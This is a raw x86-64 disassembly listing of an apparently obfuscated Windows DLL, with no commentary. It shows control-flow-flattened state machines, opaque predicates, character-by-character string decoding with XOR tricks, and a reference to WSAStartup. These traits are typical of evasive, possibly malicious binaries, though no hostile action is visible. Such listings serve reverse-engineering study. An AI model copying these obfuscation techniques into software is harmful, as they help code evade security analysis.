cmp edx, 0x463efdc0
jle 0x180039ac0
cmp edx, 0x463efdc1
je 0x180039ad4
cmp edx, 0x792cac31
je 0x180039b3f
cmp edx, 0x7d1e8039
jne 0x180039a60
mov dword [rbp + 0xf0], 0x65
mov dword [rbp + 0xe8], 0
mov eax, 0x316f5b4b
nop dword [rax]
cmp eax, 0x7ef6fb8a
je 0x180039ae9
cmp eax, 0x316f5b4b
jne 0x180039aa0
mov edx, dword [rbp + 0xe8]
mov eax, 0x7ef6fb8a
jmp 0x180039aa0
cmp edx, 0xc9ef0e73
je 0x180039b05
cmp edx, 0xe5da9711
jne 0x180039a60
mov edx, edi
jmp 0x180039a60
mov al, byte [rbp + 0xd0]
mov ebx, dword [rbp + 0xf0]
add bl, al
mov edx, esi
jmp 0x180039a60
mov byte [rbp + 0xd8], dl
mov al, byte [rbp + 0xd8]
mov byte [rbp + 0xd0], al
mov edx, 0xe5da9711
jmp 0x180039a60
mov al, byte [rbp + 0xd0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov edx, 0x463efdc1
jmp 0x180039a60
mov byte [rbp + 0xe8], bl
mov al, byte [rbp + 0xe8]
mov byte [r8 + 0xa], al
mov edx, 0x7d1e8039
nop word cs:[rax + rax]
nop
cmp edx, 0x463efdc0
jle 0x180039bc0
cmp edx, 0x463efdc1
je 0x180039bd4
cmp edx, 0x792cac31
je 0x180039c3f
cmp edx, 0x7d1e8039
jne 0x180039b60
mov dword [rbp + 0xf0], 0x45
mov dword [rbp + 0xe8], 0
mov eax, 0x316f5b4b
nop dword [rax]
cmp eax, 0x7ef6fb8a
je 0x180039be9
cmp eax, 0x316f5b4b
jne 0x180039ba0
mov edx, dword [rbp + 0xe8]
mov eax, 0x7ef6fb8a
jmp 0x180039ba0
cmp edx, 0xc9ef0e73
je 0x180039c05
cmp edx, 0xe5da9711
jne 0x180039b60
mov edx, edi
jmp 0x180039b60
mov al, byte [rbp + 0xd0]
mov ebx, dword [rbp + 0xf0]
add bl, al
mov edx, esi
jmp 0x180039b60
mov byte [rbp + 0xd8], dl
mov al, byte [rbp + 0xd8]
mov byte [rbp + 0xd0], al
mov edx, 0xe5da9711
jmp 0x180039b60
mov al, byte [rbp + 0xd0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov edx, 0x463efdc1
jmp 0x180039b60
mov byte [rbp + 0xe8], bl
mov al, byte [rbp + 0xe8]
mov byte [r8 + 0xb], al
mov edx, 0x7d1e8039
nop word cs:[rax + rax]
nop
cmp edx, 0x463efdc0
jle 0x180039cc0
cmp edx, 0x463efdc1
je 0x180039cd4
cmp edx, 0x792cac31
je 0x180039d3f
cmp edx, 0x7d1e8039
jne 0x180039c60
mov dword [rbp + 0xf0], pe_nt_image_headers64
mov dword [rbp + 0xe8], 0
mov eax, 0x316f5b4b
nop dword [rax]
cmp eax, 0x7ef6fb8a
je 0x180039ce9
cmp eax, 0x316f5b4b
jne 0x180039ca0
mov edx, dword [rbp + 0xe8]
mov eax, 0x7ef6fb8a
jmp 0x180039ca0
cmp edx, 0xc9ef0e73
je 0x180039d05
cmp edx, 0xe5da9711
jne 0x180039c60
mov edx, edi
jmp 0x180039c60
mov al, byte [rbp + 0xd0]
mov ebx, dword [rbp + 0xf0]
add bl, al
mov edx, esi
jmp 0x180039c60
mov byte [rbp + 0xd8], dl
mov al, byte [rbp + 0xd8]
mov byte [rbp + 0xd0], al
mov edx, 0xe5da9711
jmp 0x180039c60
mov al, byte [rbp + 0xd0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov edx, 0x463efdc1
jmp 0x180039c60
mov byte [rbp + 0xe8], bl
mov al, byte [rbp + 0xe8]
mov byte [r8 + 0xc], al
add r8, 0xd
mov qword [rbp + 0x100], r8
lea rax, [0x18011fa90]
mov qword [rbp + 0x110], rax
mov eax, 0xcb17a2d2
jmp 0x180039080
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x22], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop
cmp eax, 0x35970d81
jle 0x180039dc0
cmp eax, 0x35970d82
je 0x18003a305
cmp eax, 0x51578b1e
je 0x180039dd3
cmp eax, 0x5c7aabd7
jne 0x180039d90
mov eax, 0x2963d5c2
jmp 0x180039d90
cmp eax, 0x801a95b8
je 0x180039df7
cmp eax, 0x2963d5c2
jne 0x180039d90
mov eax, r10d
jmp 0x180039d90
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x180039df0
cmp eax, 0x8cebb28b
jne 0x180039de0
jmp 0x180039e17
mov eax, 0x8cebb28b
jmp 0x180039de0
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x180039e10
cmp eax, 0x8cebb28b
jne 0x180039e00
jmp 0x180039e2f
mov eax, 0x8cebb28b
jmp 0x180039e00
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x180039d90
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0x11
xor esi, 0x20
mov eax, r11d
jmp 0x180039d90
mov byte [rbp + 0xe8], cl
mov cl, byte [rbp + 0xe8]
mov byte [rax + 7], cl
mov ecx, 0x97fb8291
nop
cmp ecx, 0x97fb8291
je 0x180039e75
cmp ecx, 0xdd5a4a6e
jne 0x180039e60
jmp 0x18003a3eb
mov ecx, 0xdd5a4a6e
jmp 0x180039e60
mov byte [rbp + 0x110], 7
movsx ecx, byte [rbp + 0x110]
mov dword [rbp + 0x110], ecx
mov edx, 0xedca38df
nop word cs:[rax + rax]
nop
cmp edx, 0x3ff8290f
je 0x18003a451
cmp edx, 0xedca38df
jne 0x180039ea0
mov ecx, dword [rbp + 0x100]
add ecx, dword [rbp + 0x110]
mov edx, 0x3ff8290f
jmp 0x180039ea0
mov rax, qword [rbp + 0x110]
mov dl, byte [rax]
sub rsp, 0x20
call fcn.1800961e0
add rsp, 0x20
mov rcx, qword [rbp + 0x100]
mov byte [rcx], al
mov rax, qword [rbp + 0x100]
mov byte [rax + 1], 0
mov rcx, qword [rbp + 0x58]
sub rsp, 0x20
call fcn.18003f6b0
add rsp, 0x20
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov ecx, 0x9302de66
cmovne r8d, ecx
mov r9d, 0x7343bfbc
mov ecx, 0x181b9de8
cmovne r9d, ecx
mov edx, 0x28ad3f39
mov r11d, 0x87cbc1a8
jmp 0x180039f90
mov edx, dword [rbp + 0xe8]
mov rdx, qword [rbp + 0x110]
mov rdx, qword [rbp + 0x110]
mov rdx, qword [rbp + 0x110]
mov edx, dword [rbp + 0xf0]
mov edx, dword [rbp + 0xf0]
mov edx, dword [rbp + 0xf0]
mov edx, dword [rbp + 0xf0]
mov edx, dword [rbp + 0xf0]
mov edx, dword [rbp + 0xf0]
mov edx, 0x181b9de8
nop
cmp edx, 0xfe90a09b
jle 0x18003a000
cmp edx, 0x333d8297
jle 0x18003a050
cmp edx, 0x5cca55f4
jg 0x18003a0ca
cmp edx, 0x333d8298
je 0x18003a18d
cmp edx, 0x33ec62ab
je 0x18003a1a2
cmp edx, 0x42d422e5
jne 0x180039f90
mov dword [rbp + 0xd8], ebx
mov edx, dword [rbp + 0xd8]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0xc4], edx
mov edx, dword [rbp + 0xc4]
cmp edx, 0x20
mov edx, 0xbb6ed30e
cmovge edx, r15d
jmp 0x180039f90
cmp edx, 0xc5fd57a7
jle 0x18003a090
cmp edx, 0xeb000b68
jg 0x18003a0fa
cmp edx, 0xc5fd57a8
je 0x18003a1b3
cmp edx, 0xd1e81d16
je 0x18003a1c2
cmp edx, 0xd597d4ff
jne 0x180039f90
mov edx, 0x42d422e5
mov ebx, dword [rbp + 0xc0]
jmp 0x180039f90
cmp edx, 0x12a1b9d7
jle 0x18003a12c
cmp edx, 0x12a1b9d8
je 0x18003a1db
cmp edx, 0x181b9de8
je 0x18003a1ea
cmp edx, 0x28ad3f39
jne 0x180039f90
mov edx, 0x73f80f82
jmp 0x180039f90
cmp edx, 0xb163ad29
jle 0x18003a15e
cmp edx, 0xb163ad2a
je 0x18003a21a
cmp edx, 0xb9d33223
je 0x18003a243
cmp edx, 0xbb6ed30e
jne 0x180039f90
mov edx, 0x12a1b9d8
jmp 0x180039f90
cmp edx, 0x5cca55f5
je 0x18003a254
cmp edx, 0x7343bfbc
je 0x180039f4b
cmp edx, 0x73f80f82
jne 0x180039f90
mov edx, 0x42d422e5
xor ebx, ebx
jmp 0x180039f90
cmp edx, 0xeb000b69
je 0x18003a26d
cmp edx, 0xfb306983
jne 0x18003a2e4
mov edx, dword [rbp + 0xc4]
cmp edx, 0x7f
setl byte [rbp + 0xe6]
mov edx, 0x333d8298
jmp 0x180039f90
cmp edx, 0xfe90a09c
je 0x18003a298
cmp edx, 0x1dd0b01
jne 0x180039f90
mov edx, dword [rbp + 0x10c]
cmp edx, 0x5b
setl byte [rbp + 0xe7]
mov edx, 0xd1e81d16
jmp 0x180039f90
cmp edx, 0x87cbc1a8
je 0x18003a2ca
cmp edx, 0x9302de66
jne 0x180039f90
mov rcx, qword [rbp + 0x100]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0xd0]
jmp 0x180039f90
cmp byte [rbp + 0xe6], 0
mov edx, 0xbb6ed30e
cmovne edx, r14d
jmp 0x180039f90
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0xc8]
jmp 0x180039f90
mov dword [rbp + 0xe8], r10d
mov edx, r9d
jmp 0x180039f90
cmp byte [rbp + 0xe7], 0
mov edx, 0xb9d33223
mov edi, 0xfe90a09c
cmovne edx, edi
jmp 0x180039f90
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r12
jmp 0x180039f90
movsxd rdx, dword [rbp + 0xe8]
xor rdx, qword [rbp + 0x110]
imul rdx, r13
mov qword [rbp + 0x100], rdx
mov edx, dword [rbp + 0xf0]
add edx, 1
mov dword [rbp + 0xd0], edx
mov edx, r8d
jmp 0x180039f90
mov dword [rbp + 0xf0], esi
mov qword [rbp + 0x110], rcx
mov edx, dword [rbp + 0xd8]
mov edi, dword [rbp + 0xf0]
cmp edi, edx
mov edx, 0xf6d6bd87
cmovb edx, r11d
jmp 0x180039f90
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x10c]
jmp 0x180039f90
mov edx, dword [rbp + 0xd8]
add edx, 1
mov dword [rbp + 0xc0], edx
mov edx, 0xd597d4ff
jmp 0x180039f90
mov rdx, qword [rbp + 0xf8]
movsx edx, byte [rdx]
mov dword [rbp + 0x10c], edx
mov edx, dword [rbp + 0x10c]
cmp edx, 0x41
mov edx, 0xb9d33223
mov edi, 0x1dd0b01
cmovge edx, edi
jmp 0x180039f90
mov edx, dword [rbp + 0x10c]
mov edi, edx
and edi, 0x72963832
or edi, 0x8d414380
and edx, 0x8d69c7ed
xor edx, edi
xor edx, 0x8d4143a0
mov dword [rbp + 0xc8], edx
mov edx, 0x33ec62ab
jmp 0x180039f90
mov edx, dword [rbp + 0xf0]
add rdx, rax
mov qword [rbp + 0xf8], rdx
mov edx, 0xeb000b69
jmp 0x180039f90
cmp edx, 0xf6d6bd87
jne 0x180039f90
mov rax, qword [rbp + 0x110]
mov qword [rbp - 0x70], rax
mov eax, 0x313e113c
jmp 0x18002d840
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x24], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0x35970d81
jle 0x18003a360
cmp eax, 0x35970d82
je 0x18003a48c
cmp eax, 0x51578b1e
je 0x18003a373
cmp eax, 0x5c7aabd7
jne 0x18003a330
mov eax, 0x2963d5c2
jmp 0x18003a330
cmp eax, 0x801a95b8
je 0x18003a397
cmp eax, 0x2963d5c2
jne 0x18003a330
mov eax, r10d
jmp 0x18003a330
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003a390
cmp eax, 0x8cebb28b
jne 0x18003a380
jmp 0x18003a3b7
mov eax, 0x8cebb28b
jmp 0x18003a380
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003a3b0
cmp eax, 0x8cebb28b
jne 0x18003a3a0
jmp 0x18003a3cf
mov eax, 0x8cebb28b
jmp 0x18003a3a0
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003a330
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0x12
xor esi, 0x62
mov eax, r11d
jmp 0x18003a330
mov dword [rbp + 0xf8], 0x3f
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add ecx, 0x57
mov dword [rbp + 0xf8], ecx
mov edx, 0xeb1dc982
nop word cs:[rax + rax]
cmp edx, 0x9c671e68
je 0x18003a56b
cmp edx, 0xeb1dc982
jne 0x18003a430
mov ecx, dword [rbp + 0xf8]
mov edx, 0x9c671e68
jmp 0x18003a430
mov byte [rbp + 0xf8], cl
mov cl, byte [rbp + 0xf8]
mov byte [rax + 8], cl
mov dword [rbp + 0x100], 0x61
mov ecx, 0x77906a8
nop
cmp ecx, 0x77906a8
je 0x18003a485
cmp ecx, 0xd85e0dcf
jne 0x18003a470
jmp 0x18003ab53
mov ecx, 0xd85e0dcf
jmp 0x18003a470
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x26], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop dword [rax + rax]
cmp eax, 0x35970d81
jle 0x18003a4e0
cmp eax, 0x35970d82
je 0x18003ab97
cmp eax, 0x51578b1e
je 0x18003a4f3
cmp eax, 0x5c7aabd7
jne 0x18003a4b0
mov eax, 0x2963d5c2
jmp 0x18003a4b0
cmp eax, 0x801a95b8
je 0x18003a517
cmp eax, 0x2963d5c2
jne 0x18003a4b0
mov eax, r10d
jmp 0x18003a4b0
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003a510
cmp eax, 0x8cebb28b
jne 0x18003a500
jmp 0x18003a537
mov eax, 0x8cebb28b
jmp 0x18003a500
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003a530
cmp eax, 0x8cebb28b
jne 0x18003a520
jmp 0x18003a54f
mov eax, 0x8cebb28b
jmp 0x18003a520
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003a4b0
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 0x13
xor esi, 0x69
mov eax, r11d
jmp 0x18003a4b0
mov byte [rbp + 0xe8], cl
mov cl, byte [rbp + 0xe8]
mov byte [rax + 8], cl
mov byte [rax + 9], 0
mov rax, qword [rbp + 0x68]
mov edx, 0x8a0cc475
jmp 0x18003a5a0
mov edx, 0xc635ebf0
mov rcx, qword [rbp + 0x100]
nop word cs:[rax + rax]
nop
cmp edx, 0xc7a72053
jg 0x18003a5f0
cmp edx, 0x8e4b905f
jle 0x18003a630
cmp edx, 0x9e208196
je 0x18003a684
cmp edx, 0xc635ebf0
jne 0x18003a735
mov qword [rbp + 0x110], rcx
mov rdx, qword [rbp + 0x110]
cmp rdx, 0x12
mov edx, 0x9e208196
cmovb edx, r8d
jmp 0x18003a5a0
cmp edx, 0xf773c7bd
jg 0x18003a660
cmp edx, 0xc7a72054
je 0x18003a695
cmp edx, 0xcc80752d
jne 0x18003a5a0
mov rdx, qword [rbp + 0x110]
add rdx, rax
mov qword [rbp + 0xf8], rdx
mov edx, 0xc7a72054
jmp 0x18003a5a0
cmp edx, 0x8a0cc475
je 0x18003a6fa
cmp edx, 0x8bfde9ff
jne 0x18003a5a0
mov rdx, qword [rbp + 0xf0]
mov qword [rbp + 0xe8], rdx
mov edx, 0x8e4b9060
jmp 0x18003a5a0
cmp edx, 0xf773c7be
je 0x18003a589
cmp edx, 0x608130da
jne 0x18003a5a0
mov edx, 0xc635ebf0
xor ecx, ecx
jmp 0x18003a5a0
mov qword [rbp + 0xf0], rax
mov edx, 0x8bfde9ff
jmp 0x18003a5a0
mov rdx, qword [rbp + 0xf8]
movsx edx, byte [rdx]
mov dword [rbp + 0xd0], edx
mov ebx, 0x81569c55
nop word [rax + rax]
cmp ebx, 0x5371000b
je 0x18003a704
cmp ebx, 0x81569c55
jne 0x18003a6b0
mov dword [rbp + 0xd8], 0x3f
movsxd rbx, dword [rbp + 0xd8]
imul rdx, rbx, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub edx, ebx
add edx, dword [rbp + 0xd0]
mov ebx, 0x5371000b
jmp 0x18003a6b0
mov edx, 0x608130da
jmp 0x18003a5a0
mov dword [rbp + 0xd8], edx
mov edx, dword [rbp + 0xd8]
mov rbx, qword [rbp + 0xf8]
mov byte [rbx], dl
mov rdx, qword [rbp + 0x110]
add rdx, 1
mov qword [rbp + 0x100], rdx
mov edx, 0xf773c7be
jmp 0x18003a5a0
cmp edx, 0x8e4b9060
jne 0x18003a5a0
mov r10, qword [rbp + 0xe8]
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov eax, 0x9302de66
cmovne r8d, eax
mov r9d, 0x7343bfbc
mov eax, 0x181b9de8
cmovne r9d, eax
mov edx, 0x28ad3f39
jmp 0x18003a7d0
mov eax, dword [rbp + 0xe8]
mov rax, qword [rbp + 0x110]
mov rax, qword [rbp + 0x110]
mov rax, qword [rbp + 0x110]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov edx, 0x181b9de8
nop
cmp edx, 0xfe90a09b
jle 0x18003a840
cmp edx, 0x333d8297
jle 0x18003a890
cmp edx, 0x5cca55f4
jg 0x18003a90a
cmp edx, 0x333d8298
je 0x18003a9cd
cmp edx, 0x33ec62ab
je 0x18003a9e2
cmp edx, 0x42d422e5
jne 0x18003a7d0
mov dword [rbp + 0xd8], ebx
mov edx, dword [rbp + 0xd8]
movsx edx, byte [r10 + rdx]
mov dword [rbp + 0xc4], edx
mov edx, dword [rbp + 0xc4]
cmp edx, 0x20
mov edx, 0xbb6ed30e
cmovge edx, r15d
jmp 0x18003a7d0
cmp edx, 0xc5fd57a7
jle 0x18003a8d0
cmp edx, 0xeb000b68
jg 0x18003a93a
cmp edx, 0xc5fd57a8
je 0x18003a9f2
cmp edx, 0xd1e81d16
je 0x18003aa00
cmp edx, 0xd597d4ff
jne 0x18003a7d0
mov edx, 0x42d422e5
mov ebx, dword [rbp + 0xc0]
jmp 0x18003a7d0
cmp edx, 0x12a1b9d7
jle 0x18003a96c
cmp edx, 0x12a1b9d8
je 0x18003aa19
cmp edx, 0x181b9de8
je 0x18003aa28
cmp edx, 0x28ad3f39
jne 0x18003a7d0
mov edx, 0x73f80f82
jmp 0x18003a7d0
cmp edx, 0xb163ad29
jle 0x18003a99e
cmp edx, 0xb163ad2a
je 0x18003aa58
cmp edx, 0xb9d33223
je 0x18003aa81
cmp edx, 0xbb6ed30e
jne 0x18003a7d0
mov edx, 0x12a1b9d8
jmp 0x18003a7d0
cmp edx, 0x5cca55f5
je 0x18003aa91
cmp edx, 0x7343bfbc
je 0x18003a78b
cmp edx, 0x73f80f82
jne 0x18003a7d0
mov edx, 0x42d422e5
xor ebx, ebx
jmp 0x18003a7d0
cmp edx, 0xeb000b69
je 0x18003aaaa
cmp edx, 0xfb306983
jne 0x18003ab1f
mov edx, dword [rbp + 0xc4]
cmp edx, 0x7f
setl byte [rbp + 0xe6]
mov edx, 0x333d8298
jmp 0x18003a7d0
cmp edx, 0xfe90a09c
je 0x18003aad5
cmp edx, 0x1dd0b01
jne 0x18003a7d0
mov eax, dword [rbp + 0x10c]
cmp eax, 0x5b
setl byte [rbp + 0xe7]
mov edx, 0xd1e81d16
jmp 0x18003a7d0
cmp edx, 0x87cbc1a8
je 0x18003ab05
cmp edx, 0x9302de66
jne 0x18003a7d0
mov rcx, qword [rbp + 0x100]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0xd0]
jmp 0x18003a7d0
cmp byte [rbp + 0xe6], 0
mov edx, 0xbb6ed30e
cmovne edx, r14d
jmp 0x18003a7d0
mov edx, 0xc5fd57a8
mov edi, dword [rbp + 0xc8]
jmp 0x18003a7d0
mov dword [rbp + 0xe8], edi
mov edx, r9d
jmp 0x18003a7d0
cmp byte [rbp + 0xe7], 0
mov edx, 0xb9d33223
mov eax, 0xfe90a09c
cmovne edx, eax
jmp 0x18003a7d0
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r12
jmp 0x18003a7d0
movsxd rax, dword [rbp + 0xe8]
xor rax, qword [rbp + 0x110]
imul rax, r13
mov qword [rbp + 0x100], rax
mov eax, dword [rbp + 0xf0]
add eax, 1
mov dword [rbp + 0xd0], eax
mov edx, r8d
jmp 0x18003a7d0
mov dword [rbp + 0xf0], esi
mov qword [rbp + 0x110], rcx
mov edx, dword [rbp + 0xd8]
mov eax, dword [rbp + 0xf0]
cmp eax, edx
mov edx, 0xf6d6bd87
cmovb edx, r11d
jmp 0x18003a7d0
mov edx, 0xc5fd57a8
mov edi, dword [rbp + 0x10c]
jmp 0x18003a7d0
mov edx, dword [rbp + 0xd8]
add edx, 1
mov dword [rbp + 0xc0], edx
mov edx, 0xd597d4ff
jmp 0x18003a7d0
mov rax, qword [rbp + 0xf8]
movsx eax, byte [rax]
mov dword [rbp + 0x10c], eax
mov eax, dword [rbp + 0x10c]
cmp eax, 0x41
mov edx, 0xb9d33223
mov eax, 0x1dd0b01
cmovge edx, eax
jmp 0x18003a7d0
mov eax, dword [rbp + 0x10c]
mov edx, eax
and edx, 0x72963832
or edx, 0x8d414380
and eax, 0x8d69c7ed
xor eax, edx
xor eax, 0x8d4143a0
mov dword [rbp + 0xc8], eax
mov edx, 0x33ec62ab
jmp 0x18003a7d0
mov eax, dword [rbp + 0xf0]
add rax, r10
mov qword [rbp + 0xf8], rax
mov edx, 0xeb000b69
jmp 0x18003a7d0
cmp edx, 0xf6d6bd87
jne 0x18003a7d0
mov rcx, qword [rbp + 0x110]
sub rsp, 0x20
call fcn.1800e9be0
mov r11d, 0x87cbc1a8
add rsp, 0x20
mov qword [rbp - 0x68], rax
mov eax, 0x290bce93
jmp 0x18002d840
mov byte [rbp + 0x110], 7
movsx ecx, byte [rbp + 0x110]
mov dword [rbp + 0x110], ecx
mov edx, 0xedca38df
nop dword [rax]
cmp edx, 0x3ff8290f
je 0x18003ac7b
cmp edx, 0xedca38df
jne 0x18003ab70
mov ecx, dword [rbp + 0x100]
add ecx, dword [rbp + 0x110]
mov edx, 0x3ff8290f
jmp 0x18003ab70
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0x28], ax
add r8, 0x2a
mov qword [rbp + 0xe8], r8
movzx ecx, word [r9]
mov eax, 0x5c7aabd7
nop
cmp eax, 0x35970d81
jle 0x18003abf0
cmp eax, 0x35970d82
je 0x18003acbc
cmp eax, 0x51578b1e
je 0x18003ac03
cmp eax, 0x5c7aabd7
jne 0x18003abc0
mov eax, 0x2963d5c2
jmp 0x18003abc0
cmp eax, 0x801a95b8
je 0x18003ac27
cmp eax, 0x2963d5c2
jne 0x18003abc0
mov eax, r10d
jmp 0x18003abc0
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x18003ac20
cmp eax, 0x8cebb28b
jne 0x18003ac10
jmp 0x18003ac47
mov eax, 0x8cebb28b
jmp 0x18003ac10
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003ac40
cmp eax, 0x8cebb28b
jne 0x18003ac30
jmp 0x18003ac5f
mov eax, 0x8cebb28b
jmp 0x18003ac30
mov qword [rbp + 0x110], rcx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003abc0
mov qword [rbp + 0x110], rcx
mov rbx, qword [rbp + 0x110]
add ebx, 0x14
xor ebx, 0x6e
mov eax, r11d
jmp 0x18003abc0
mov byte [rbp + 0xf8], cl
mov cl, byte [rbp + 0xf8]
mov byte [rax + 9], cl
mov dword [rbp + 0x100], WSAStartup
mov ecx, 0x77906a8
nop dword [rax]
cmp ecx, 0x77906a8
je 0x18003acb5
cmp ecx, 0xd85e0dcf
jne 0x18003aca0
jmp 0x18003d622
mov ecx, 0xd85e0dcf
jmp 0x18003aca0
mov word [rbp + 0x110], bx
movzx eax, word [rbp + 0x110]
mov rcx, qword [rbp + 0xe8]
mov word [rcx], ax
mov eax, 0x9b18848
nop dword [rax]
cmp eax, 0x9b18847
jg 0x18003ad00
cmp eax, 0x84044d17
je 0x18003ae2a
cmp eax, 0x8f988cbf
jne 0x18003ace0
jmp 0x18003d667
cmp eax, 0x430b16e8
je 0x18003ae4d
cmp eax, 0x9b18848
jne 0x18003ace0
mov eax, dword [0x180129a40]
mov ecx, dword [0x180129a44]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
mov ebx, 0x51578b1e
mov esi, 0x35970d82
cmovl ebx, esi
test edx, edx
mov eax, 0x51578b1e
cmovne ebx, eax
mov edi, 0x51578b1e
mov r14d, 0x801a95b8
cmove edi, r14d
cmp ecx, 0xa
mov r10, qword [rbp + 0xe8]
movzx r11d, word [r9]
setl al
cmovl edi, r14d
xor al, dl
cmove ebx, esi
mov eax, 0x5c7aabd7
nop
cmp eax, 0x35970d81
jle 0x18003ada0
cmp eax, 0x35970d82
je 0x18003af7a
cmp eax, 0x51578b1e
je 0x18003adb2
cmp eax, 0x5c7aabd7
jne 0x18003ad70
mov eax, 0x2963d5c2
jmp 0x18003ad70
cmp eax, 0x801a95b8
je 0x18003add7
cmp eax, 0x2963d5c2
jne 0x18003ad70
mov eax, edi
jmp 0x18003ad70
mov eax, 0x360723d0
nop word [rax + rax]
cmp eax, 0x360723d0
je 0x18003add0
cmp eax, 0x8cebb28b
jne 0x18003adc0
jmp 0x18003adf7
mov eax, 0x8cebb28b
jmp 0x18003adc0
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003adf0
cmp eax, 0x8cebb28b
jne 0x18003ade0
jmp 0x18003ae0f
mov eax, 0x8cebb28b
jmp 0x18003ade0
mov qword [rbp + 0x110], r11
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003ad70
mov qword [rbp + 0x110], r11
mov rcx, qword [rbp + 0x110]
add ecx, 0x15
xor ecx, 0x50
mov eax, ebx
jmp 0x18003ad70
mov word [r8], 0
add r8, 2
cmp r8, qword [rbp + 0x100]
mov eax, 0x84044d17
mov ecx, 0x8f988cbf
cmove eax, ecx
jmp 0x18003ace0
mov rax, qword [rbp + 0xf8]
movzx ecx, word [rbp + 0xd8]
mov word [rax], cx
mov eax, dword [0x180129a40]
mov ecx, dword [0x180129a44]
lea esi, [rax - 1]
imul esi, eax
and esi, 1
cmp ecx, 0xa
mov edx, 0x51578b1e
mov r10d, 0x35970d82
cmovl edx, r10d
test esi, esi
mov eax, 0x51578b1e
cmovne edx, eax
mov ebx, 0x51578b1e
mov edi, 0x801a95b8
cmove ebx, edi
cmp ecx, 0xa
mov r8, qword [rbp + 0xf8]
movzx ecx, word [r9]
setl al
cmovl ebx, edi
xor al, sil
cmove edx, r10d
mov eax, 0x5c7aabd7
nop dword [rax]
cmp eax, 0x35970d81
jle 0x18003aef0
cmp eax, 0x35970d82
je 0x18003b0ab
cmp eax, 0x51578b1e
je 0x18003af02
cmp eax, 0x5c7aabd7
jne 0x18003aec0
mov eax, 0x2963d5c2
jmp 0x18003aec0
cmp eax, 0x801a95b8
je 0x18003af27
cmp eax, 0x2963d5c2
jne 0x18003aec0
mov eax, ebx
jmp 0x18003aec0
mov eax, 0x360723d0
nop word [rax + rax]
cmp eax, 0x360723d0
je 0x18003af20
cmp eax, 0x8cebb28b
jne 0x18003af10
jmp 0x18003af47
mov eax, 0x8cebb28b
jmp 0x18003af10
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x18003af40
cmp eax, 0x8cebb28b
jne 0x18003af30
jmp 0x18003af5f
mov eax, 0x8cebb28b
jmp 0x18003af30
mov qword [rbp + 0x110], rcx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x18003aec0
